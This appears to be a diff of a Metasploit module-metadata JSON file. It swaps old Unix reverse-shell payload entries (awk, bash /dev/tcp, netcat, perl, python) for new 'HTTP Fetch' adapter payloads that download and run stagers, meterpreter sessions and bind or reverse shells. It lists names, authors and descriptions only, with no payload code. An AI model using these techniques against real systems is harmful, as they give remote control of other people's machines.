+ "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a command shell (staged).\n\nListen for a connection",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-22 05:49:48 +0000",
- "path": "/modules/payloads/singles/cmd/unix/reverse.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/reverse",
+ "ref_name": "cmd/linux/http/x86/shell/bind_nonx_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x86",
+ "adapted_refname": "linux/x86/shell/bind_nonx_tcp",
+ "staged": true,
+ "stage_refname": "linux/x86/shell",
+ "stager_refname": "linux/x86/bind_nonx_tcp"
},
- "payload_cmd/unix/reverse_awk": {
- "name": "Unix Command Shell, Reverse TCP (via AWK)",
- "fullname": "payload/cmd/unix/reverse_awk",
+ "payload_cmd/linux/http/x86/shell/bind_tcp": {
+ "name": "HTTP Fetch, Linux Command Shell, Bind TCP Stager (Linux x86)",
+ "fullname": "payload/cmd/linux/http/x86/shell/bind_tcp",
"aliases": [
],
@@ -178005,35 +179762,42 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "espreto ",
- "Ulisses Castro ",
- "Gabriel Quadros "
+ "Brendan Watters",
+ "Spencer McIntyre",
+ "skape ",
+ "egypt "
],
- "description": "Creates an interactive shell via GNU AWK",
+ "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a command shell (staged).\n\nListen for a connection (Linux x86)",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-04 00:33:03 +0000",
- "path": "/modules/payloads/singles/cmd/unix/reverse_awk.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/reverse_awk",
+ "ref_name": "cmd/linux/http/x86/shell/bind_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x86",
+ "adapted_refname": "linux/x86/shell/bind_tcp",
+ "staged": true,
+ "stage_refname": "linux/x86/shell",
+ "stager_refname": "linux/x86/bind_tcp"
},
- "payload_cmd/unix/reverse_bash": {
- "name": "Unix Command Shell, Reverse TCP (/dev/tcp)",
- "fullname": "payload/cmd/unix/reverse_bash",
+ "payload_cmd/linux/http/x86/shell/bind_tcp_uuid": {
+ "name": "HTTP Fetch, Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)",
+ "fullname": "payload/cmd/linux/http/x86/shell/bind_tcp_uuid",
"aliases": [
],
@@ -178041,33 +179805,43 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "hdm "
+ "Brendan Watters",
+ "Spencer McIntyre",
+ "skape ",
+ "egypt ",
+ "OJ Reeves"
],
- "description": "Creates an interactive shell via bash's builtin /dev/tcp.\n\n This will not work on circa 2009 and older Debian-based Linux\n distributions (including Ubuntu) because they compile bash\n without the /dev/tcp feature.",
+ "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a command shell (staged).\n\nListen for a connection with UUID Support (Linux x86)",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-22 05:49:48 +0000",
- "path": "/modules/payloads/singles/cmd/unix/reverse_bash.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/reverse_bash",
+ "ref_name": "cmd/linux/http/x86/shell/bind_tcp_uuid",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x86",
+ "adapted_refname": "linux/x86/shell/bind_tcp_uuid",
+ "staged": true,
+ "stage_refname": "linux/x86/shell",
+ "stager_refname": "linux/x86/bind_tcp_uuid"
},
- "payload_cmd/unix/reverse_bash_telnet_ssl": {
- "name": "Unix Command Shell, Reverse TCP SSL (telnet)",
- "fullname": "payload/cmd/unix/reverse_bash_telnet_ssl",
+ "payload_cmd/linux/http/x86/shell/find_tag": {
+ "name": "HTTP Fetch, Linux Command Shell, Find Tag Stager",
+ "fullname": "payload/cmd/linux/http/x86/shell/find_tag",
"aliases": [
],
@@ -178075,33 +179849,41 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "RageLtMan "
+ "Brendan Watters",
+ "Spencer McIntyre",
+ "skape "
],
- "description": "Creates an interactive shell via mkfifo and telnet.\n This method works on Debian and other systems compiled\n without /dev/tcp support. This module uses the '-z'\n option included on some systems to encrypt using SSL.",
+ "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a command shell (staged).\n\nUse an established connection",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-22 05:49:48 +0000",
- "path": "/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/reverse_bash_telnet_ssl",
+ "ref_name": "cmd/linux/http/x86/shell/find_tag",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x86",
+ "adapted_refname": "linux/x86/shell/find_tag",
+ "staged": true,
+ "stage_refname": "linux/x86/shell",
+ "stager_refname": "linux/x86/find_tag"
},
- "payload_cmd/unix/reverse_bash_udp": {
- "name": "Unix Command Shell, Reverse UDP (/dev/udp)",
- "fullname": "payload/cmd/unix/reverse_bash_udp",
+ "payload_cmd/linux/http/x86/shell/reverse_ipv6_tcp": {
+ "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Stager (IPv6)",
+ "fullname": "payload/cmd/linux/http/x86/shell/reverse_ipv6_tcp",
"aliases": [
],
@@ -178109,34 +179891,42 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "hdm ",
- "bcoles "
+ "Brendan Watters",
+ "Spencer McIntyre",
+ "skape ",
+ "kris katterjohn "
],
- "description": "Creates an interactive shell via bash's builtin /dev/udp.\n\n This will not work on circa 2009 and older Debian-based Linux\n distributions (including Ubuntu) because they compile bash\n without the /dev/udp feature.",
+ "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a command shell (staged).\n\nConnect back to attacker over IPv6",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-22 05:49:48 +0000",
- "path": "/modules/payloads/singles/cmd/unix/reverse_bash_udp.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/reverse_bash_udp",
+ "ref_name": "cmd/linux/http/x86/shell/reverse_ipv6_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x86",
+ "adapted_refname": "linux/x86/shell/reverse_ipv6_tcp",
+ "staged": true,
+ "stage_refname": "linux/x86/shell",
+ "stager_refname": "linux/x86/reverse_ipv6_tcp"
},
- "payload_cmd/unix/reverse_jjs": {
- "name": "Unix Command Shell, Reverse TCP (via jjs)",
- "fullname": "payload/cmd/unix/reverse_jjs",
+ "payload_cmd/linux/http/x86/shell/reverse_nonx_tcp": {
+ "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Stager",
+ "fullname": "payload/cmd/linux/http/x86/shell/reverse_nonx_tcp",
"aliases": [
],
@@ -178144,36 +179934,41 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "conerpirate",
- "bcoles "
+ "Brendan Watters",
+ "Spencer McIntyre",
+ "skape "
],
- "description": "Connect back and create a command shell via jjs",
+ "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker",
"references": [
- "URL-https://gtfobins.github.io/gtfobins/jjs/",
- "URL-https://cornerpirate.com/2018/08/17/java-gives-a-shell-for-everything/",
- "URL-https://h4wkst3r.blogspot.com/2018/05/code-execution-with-jdk-scripting-tools.html"
+
],
- "platform": "Unix",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-22 05:49:48 +0000",
- "path": "/modules/payloads/singles/cmd/unix/reverse_jjs.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/reverse_jjs",
+ "ref_name": "cmd/linux/http/x86/shell/reverse_nonx_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x86",
+ "adapted_refname": "linux/x86/shell/reverse_nonx_tcp",
+ "staged": true,
+ "stage_refname": "linux/x86/shell",
+ "stager_refname": "linux/x86/reverse_nonx_tcp"
},
- "payload_cmd/unix/reverse_ksh": {
- "name": "Unix Command Shell, Reverse TCP (via Ksh)",
- "fullname": "payload/cmd/unix/reverse_ksh",
+ "payload_cmd/linux/http/x86/shell/reverse_tcp": {
+ "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Stager",
+ "fullname": "payload/cmd/linux/http/x86/shell/reverse_tcp",
"aliases": [
],
@@ -178181,33 +179976,43 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "Wang Yihang "
+ "Brendan Watters",
+ "Spencer McIntyre",
+ "skape ",
+ "egypt ",
+ "tkmru"
],
- "description": "Connect back and create a command shell via Ksh. Note: Although Ksh is often\n available, please be aware it isn't usually installed by default.",
+ "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-22 05:49:48 +0000",
- "path": "/modules/payloads/singles/cmd/unix/reverse_ksh.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/reverse_ksh",
+ "ref_name": "cmd/linux/http/x86/shell/reverse_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x86",
+ "adapted_refname": "linux/x86/shell/reverse_tcp",
+ "staged": true,
+ "stage_refname": "linux/x86/shell",
+ "stager_refname": "linux/x86/reverse_tcp"
},
- "payload_cmd/unix/reverse_lua": {
- "name": "Unix Command Shell, Reverse TCP (via Lua)",
- "fullname": "payload/cmd/unix/reverse_lua",
+ "payload_cmd/linux/http/x86/shell/reverse_tcp_uuid": {
+ "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Stager",
+ "fullname": "payload/cmd/linux/http/x86/shell/reverse_tcp_uuid",
"aliases": [
],
@@ -178215,33 +180020,43 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "xistence "
+ "Brendan Watters",
+ "Spencer McIntyre",
+ "skape ",
+ "egypt ",
+ "OJ Reeves"
],
- "description": "Creates an interactive shell via Lua",
+ "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-22 05:49:48 +0000",
- "path": "/modules/payloads/singles/cmd/unix/reverse_lua.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/reverse_lua",
+ "ref_name": "cmd/linux/http/x86/shell/reverse_tcp_uuid",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x86",
+ "adapted_refname": "linux/x86/shell/reverse_tcp_uuid",
+ "staged": true,
+ "stage_refname": "linux/x86/shell",
+ "stager_refname": "linux/x86/reverse_tcp_uuid"
},
- "payload_cmd/unix/reverse_ncat_ssl": {
- "name": "Unix Command Shell, Reverse TCP (via ncat)",
- "fullname": "payload/cmd/unix/reverse_ncat_ssl",
+ "payload_cmd/linux/http/x86/shell_bind_ipv6_tcp": {
+ "name": "HTTP Fetch, Linux Command Shell, Bind TCP Inline (IPv6)",
+ "fullname": "payload/cmd/linux/http/x86/shell_bind_ipv6_tcp",
"aliases": [
],
@@ -178249,33 +180064,39 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "C_Sto"
+ "Brendan Watters",
+ "Spencer McIntyre",
+ "kris katterjohn "
],
- "description": "Creates an interactive shell via ncat, utilizing ssl mode",
+ "description": "Fetch and execute a x86 payload from an HTTP server.\nListen for a connection over IPv6 and spawn a command shell",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-22 05:49:48 +0000",
- "path": "/modules/payloads/singles/cmd/unix/reverse_ncat_ssl.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/reverse_ncat_ssl",
+ "ref_name": "cmd/linux/http/x86/shell_bind_ipv6_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x86",
+ "adapted_refname": "linux/x86/shell_bind_ipv6_tcp",
+ "staged": false
},
- "payload_cmd/unix/reverse_netcat": {
- "name": "Unix Command Shell, Reverse TCP (via netcat)",
- "fullname": "payload/cmd/unix/reverse_netcat",
+ "payload_cmd/linux/http/x86/shell_bind_tcp": {
+ "name": "HTTP Fetch, Linux Command Shell, Bind TCP Inline",
+ "fullname": "payload/cmd/linux/http/x86/shell_bind_tcp",
"aliases": [
],
@@ -178283,35 +180104,39 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "m-1-k-3",
- "egypt ",
- "juan vazquez "
+ "Brendan Watters",
+ "Spencer McIntyre",
+ "Ramon de C Valle "
],
- "description": "Creates an interactive shell via netcat",
+ "description": "Fetch and execute a x86 payload from an HTTP server.\nListen for a connection and spawn a command shell",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-22 05:49:48 +0000",
- "path": "/modules/payloads/singles/cmd/unix/reverse_netcat.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/reverse_netcat",
+ "ref_name": "cmd/linux/http/x86/shell_bind_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x86",
+ "adapted_refname": "linux/x86/shell_bind_tcp",
+ "staged": false
},
- "payload_cmd/unix/reverse_netcat_gaping": {
- "name": "Unix Command Shell, Reverse TCP (via netcat -e)",
- "fullname": "payload/cmd/unix/reverse_netcat_gaping",
+ "payload_cmd/linux/http/x86/shell_bind_tcp_random_port": {
+ "name": "HTTP Fetch, Linux Command Shell, Bind TCP Random Port Inline",
+ "fullname": "payload/cmd/linux/http/x86/shell_bind_tcp_random_port",
"aliases": [
],
@@ -178319,33 +180144,41 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "hdm "
+ "Brendan Watters",
+ "Spencer McIntyre",
+ "Geyslan G. Bem ",
+ "Aleh Boitsau "
],
- "description": "Creates an interactive shell via netcat",
+ "description": "Fetch and execute a x86 payload from an HTTP server.\n\n Listen for a connection in a random port and spawn a command shell.\n Use nmap to discover the open port: 'nmap -sS target -p-'.",
"references": [
-
+ "URL-https://github.com/geyslan/SLAE/blob/master/improvements/tiny_shell_bind_tcp_random_port.asm",
+ "EDB-41631"
],
- "platform": "Unix",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-22 05:49:48 +0000",
- "path": "/modules/payloads/singles/cmd/unix/reverse_netcat_gaping.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/reverse_netcat_gaping",
+ "ref_name": "cmd/linux/http/x86/shell_bind_tcp_random_port",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x86",
+ "adapted_refname": "linux/x86/shell_bind_tcp_random_port",
+ "staged": false
},
- "payload_cmd/unix/reverse_nodejs": {
- "name": "Unix Command Shell, Reverse TCP (via nodejs)",
- "fullname": "payload/cmd/unix/reverse_nodejs",
+ "payload_cmd/linux/http/x86/shell_find_port": {
+ "name": "HTTP Fetch, Linux Command Shell, Find Port Inline",
+ "fullname": "payload/cmd/linux/http/x86/shell_find_port",
"aliases": [
],
@@ -178353,33 +180186,39 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "joev "
+ "Brendan Watters",
+ "Spencer McIntyre",
+ "Ramon de C Valle "
],
- "description": "Continually listen for a connection and spawn a command shell via nodejs",
+ "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a shell on an established connection",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-04 00:33:03 +0000",
- "path": "/modules/payloads/singles/cmd/unix/reverse_nodejs.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/reverse_nodejs",
+ "ref_name": "cmd/linux/http/x86/shell_find_port",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x86",
+ "adapted_refname": "linux/x86/shell_find_port",
+ "staged": false
},
- "payload_cmd/unix/reverse_openssl": {
- "name": "Unix Command Shell, Double Reverse TCP SSL (openssl)",
- "fullname": "payload/cmd/unix/reverse_openssl",
+ "payload_cmd/linux/http/x86/shell_find_tag": {
+ "name": "HTTP Fetch, Linux Command Shell, Find Tag Inline",
+ "fullname": "payload/cmd/linux/http/x86/shell_find_tag",
"aliases": [
],
@@ -178387,33 +180226,39 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "hdm "
+ "Brendan Watters",
+ "Spencer McIntyre",
+ "skape "
],
- "description": "Creates an interactive shell through two inbound connections",
+ "description": "Fetch and execute a x86 payload from an HTTP server.\nSpawn a shell on an established connection (proxy/nat safe)",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-22 05:49:48 +0000",
- "path": "/modules/payloads/singles/cmd/unix/reverse_openssl.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/reverse_openssl",
+ "ref_name": "cmd/linux/http/x86/shell_find_tag",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x86",
+ "adapted_refname": "linux/x86/shell_find_tag",
+ "staged": false
},
- "payload_cmd/unix/reverse_perl": {
- "name": "Unix Command Shell, Reverse TCP (via Perl)",
- "fullname": "payload/cmd/unix/reverse_perl",
+ "payload_cmd/linux/http/x86/shell_reverse_tcp": {
+ "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Inline",
+ "fullname": "payload/cmd/linux/http/x86/shell_reverse_tcp",
"aliases": [
],
@@ -178421,33 +180266,40 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "cazz "
+ "Brendan Watters",
+ "Spencer McIntyre",
+ "Ramon de C Valle ",
+ "joev "
],
- "description": "Creates an interactive shell via perl",
+ "description": "Fetch and execute a x86 payload from an HTTP server.\nConnect back to attacker and spawn a command shell",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-22 05:49:48 +0000",
- "path": "/modules/payloads/singles/cmd/unix/reverse_perl.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/reverse_perl",
+ "ref_name": "cmd/linux/http/x86/shell_reverse_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x86",
+ "adapted_refname": "linux/x86/shell_reverse_tcp",
+ "staged": false
},
- "payload_cmd/unix/reverse_perl_ssl": {
- "name": "Unix Command Shell, Reverse TCP SSL (via perl)",
- "fullname": "payload/cmd/unix/reverse_perl_ssl",
+ "payload_cmd/linux/http/x86/shell_reverse_tcp_ipv6": {
+ "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Inline (IPv6)",
+ "fullname": "payload/cmd/linux/http/x86/shell_reverse_tcp_ipv6",
"aliases": [
],
@@ -178455,33 +180307,39 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "RageLtMan "
+ "Brendan Watters",
+ "Spencer McIntyre",
+ "Matteo Malvica "
],
- "description": "Creates an interactive shell via perl, uses SSL",
+ "description": "Fetch and execute a x86 payload from an HTTP server.\nConnect back to attacker and spawn a command shell over IPv6",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-22 05:49:48 +0000",
- "path": "/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/reverse_perl_ssl",
+ "ref_name": "cmd/linux/http/x86/shell_reverse_tcp_ipv6",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/http/x86",
+ "adapted_refname": "linux/x86/shell_reverse_tcp_ipv6",
+ "staged": false
},
- "payload_cmd/unix/reverse_php_ssl": {
- "name": "Unix Command Shell, Reverse TCP SSL (via php)",
- "fullname": "payload/cmd/unix/reverse_php_ssl",
+ "payload_cmd/linux/https/mips64/meterpreter_reverse_http": {
+ "name": "HTTPS Fetch",
+ "fullname": "payload/cmd/linux/https/mips64/meterpreter_reverse_http",
"aliases": [
],
@@ -178489,33 +180347,41 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "RageLtMan "
+ "Brendan Watters",
+ "Spencer McIntyre",
+ "Adam Cammack ",
+ "Brent Cook ",
+ "timwr"
],
- "description": "Creates an interactive shell via php, uses SSL",
+ "description": "Fetch and execute an MIPS64 payload from an HTTPS server.",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-22 05:49:48 +0000",
- "path": "/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/https/mips64.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/reverse_php_ssl",
+ "ref_name": "cmd/linux/https/mips64/meterpreter_reverse_http",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/https/mips64",
+ "adapted_refname": "linux/mips64/meterpreter_reverse_http",
+ "staged": false
},
- "payload_cmd/unix/reverse_python": {
- "name": "Unix Command Shell, Reverse TCP (via Python)",
- "fullname": "payload/cmd/unix/reverse_python",
+ "payload_cmd/linux/https/mips64/meterpreter_reverse_https": {
+ "name": "HTTPS Fetch",
+ "fullname": "payload/cmd/linux/https/mips64/meterpreter_reverse_https",
"aliases": [
],
@@ -178523,33 +180389,41 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "bcoles "
- ],
- "description": "Connect back and create a command shell via Python",
- "references": [
+ "Brendan Watters",
+ "Spencer McIntyre",
+ "Adam Cammack ",
+ "Brent Cook ",
+ "timwr"
+ ],
+ "description": "Fetch and execute an MIPS64 payload from an HTTPS server.",
+ "references": [
],
- "platform": "Unix",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-22 05:49:48 +0000",
- "path": "/modules/payloads/singles/cmd/unix/reverse_python.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/https/mips64.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/reverse_python",
+ "ref_name": "cmd/linux/https/mips64/meterpreter_reverse_https",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/https/mips64",
+ "adapted_refname": "linux/mips64/meterpreter_reverse_https",
+ "staged": false
},
- "payload_cmd/unix/reverse_python_ssl": {
- "name": "Unix Command Shell, Reverse TCP SSL (via python)",
- "fullname": "payload/cmd/unix/reverse_python_ssl",
+ "payload_cmd/linux/https/mips64/meterpreter_reverse_tcp": {
+ "name": "HTTPS Fetch",
+ "fullname": "payload/cmd/linux/https/mips64/meterpreter_reverse_tcp",
"aliases": [
],
@@ -178557,33 +180431,41 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "RageLtMan "
+ "Brendan Watters",
+ "Spencer McIntyre",
+ "Adam Cammack ",
+ "Brent Cook ",
+ "timwr"
],
- "description": "Creates an interactive shell via python, uses SSL, encodes with base64 by design.",
+ "description": "Fetch and execute an MIPS64 payload from an HTTPS server.",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-22 05:49:48 +0000",
- "path": "/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/https/mips64.rb",
"is_install_path": true,
- "ref_name": "cmd/unix/reverse_python_ssl",
+ "ref_name": "cmd/linux/https/mips64/meterpreter_reverse_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/https/mips64",
+ "adapted_refname": "linux/mips64/meterpreter_reverse_tcp",
+ "staged": false
},
- "payload_cmd/unix/reverse_r": {
- "name": "Unix Command Shell, Reverse TCP (via R)",
- "fullname": "payload/cmd/unix/reverse_r",
+ "payload_cmd/linux/https/x64/exec": {
+ "name": "HTTPS Fetch, Linux Execute Command",
+ "fullname": "payload/cmd/linux/https/x64/exec",
"aliases": [
],
@@ -178591,33 +180473,39 @@
"disclosure_date": null,
"type": "payload",
"author": [
- "RageLtMan "
+ "Brendan Watters",
+ "ricky",
+ "Geyslan G. Bem "
],
- "description": "Connect back and create a command shell via R",
+ "description": "Fetch and execute an x64 payload from an HTTPS server.\nExecute an arbitrary command or just a /bin/sh shell",
"references": [
],
- "platform": "Unix",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-11-22 05:49:48 +0000",
